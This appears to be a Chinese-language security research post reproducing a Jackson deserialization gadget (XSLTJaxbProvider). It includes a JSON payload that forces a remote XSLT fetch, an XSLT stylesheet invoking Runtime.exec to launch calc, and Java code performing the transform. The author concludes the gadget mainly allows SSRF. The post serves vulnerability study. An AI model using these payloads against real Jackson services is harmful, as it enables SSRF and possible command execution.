Jackson xxe

前言

最近学习了一下jackson的漏洞,在github上发现org.apache.cxf.jaxrs.provider.XSLTJaxbProvider是Jacksond的一条gadget,网上也没公布具体的利用和能干啥。于是复现学习一波。

Jackson基础

Jackson在反序列化的时候会调用field的setter方法,在序列化时候调用getter,is方法。

利用

org.apache.cxf.jaxrs.provider.XSLTJaxbProvider看名字就应该知道是XSLT注入,能造成xxe,代码执行。

数据流

代码

ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();

String jsonStr = "[\"org.apache.cxf.jaxrs.provider.XSLTJaxbProvider\", {\"outMediaTemplates\":[\"java.util.HashMap\",{\"1\":\"http://127.0.0.1/xxe.xml\"}]}]";

System.out.println("Serializing");
Object obj = mapper.readValue(jsonStr, java.lang.Object.class);

这里能访问127.0.0.1/xxe.xml,但是不能注入外部实体。

[Fatal Error] xxe.xml:6:19: 外部实体: 无法读取外部文档 '', 因为 accessExternalDTD 属性设置的限制导致不允许 'http' 访问。

因为createTemplates这里做了限制

factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, secureProcessing);

感觉很是鸡肋,如果要xslt造成代码注入的话,还需要进行transfrom。

给个xslt注入的列子吧

        /*
 xxe.xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:java="http://saxon.sf.net/java-type">
<xsl:template match="/">
<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'cmd.exe /c calc')" xmlns:Runtime="java.lang.Runtime"/>
</xsl:template>.
</xsl:stylesheet>
        */
String fileData = "<helloworld/>";
URL urlStream = new URL("http://127.0.0.1/xxe.xml");
Reader r = new BufferedReader(new InputStreamReader(urlStream.openStream(), StandardCharsets.UTF_8));
Source source = new StreamSource(r);
source.setSystemId(urlStream.toExternalForm());

SAXTransformerFactory factory = (SAXTransformerFactory) TransformerFactory.newInstance();

Templates templates = factory.newTemplates(source);
Transformer transformer = templates.newTransformer();

StringWriter buff = new StringWriter();
transformer.transform(new StreamSource(new StringReader(fileData)), new StreamResult(buff));
System.out.println(buff.toString());

最后

算是一个抛砖引玉吧,因为这个有点太鸡肋,只能做ssrf。jackson的issue也没写到底能造成什么危害,不知道到底能不能造成代码执行。

参考

l1nk3r

2 个赞